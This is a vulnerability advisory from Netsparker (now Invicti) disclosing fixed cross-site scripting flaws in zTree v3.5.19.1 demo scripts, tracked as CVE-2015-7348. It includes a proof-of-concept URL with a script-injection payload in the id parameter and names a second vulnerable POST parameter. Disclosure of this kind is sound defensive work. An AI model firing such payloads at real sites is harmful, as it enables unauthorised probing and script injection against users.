Information
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Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in zTree v3
Affected Software: zTree
Affected Versions: v3.5.19.1 and possibly below
Vendor Homepage: https://github.com/zTree/zTree_v3  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2015-7348
Invicti Advisory Reference: NS-15-019

Technical Details
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Proof of Concept URLs for XSS in zTree 3.5.19.1:

/zTree_v3-master/demo/en/asyncData/getNodesForBigData.php?id='"--></style></scRipt><scRipt>alert(0x00FA30)</scRipt>

/zTree_v3-master/demo/en/asyncData/getNodes.php
(POST, id parameter)

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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04/09/2015 - First Contact
16/11/2015 - Vendor Fixed
17/11/2015 - Advisory Released

Solution
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https://github.com/zTree/zTree_v3 

Credits & Authors
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These issues have been discovered by Onur Yilmaz while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.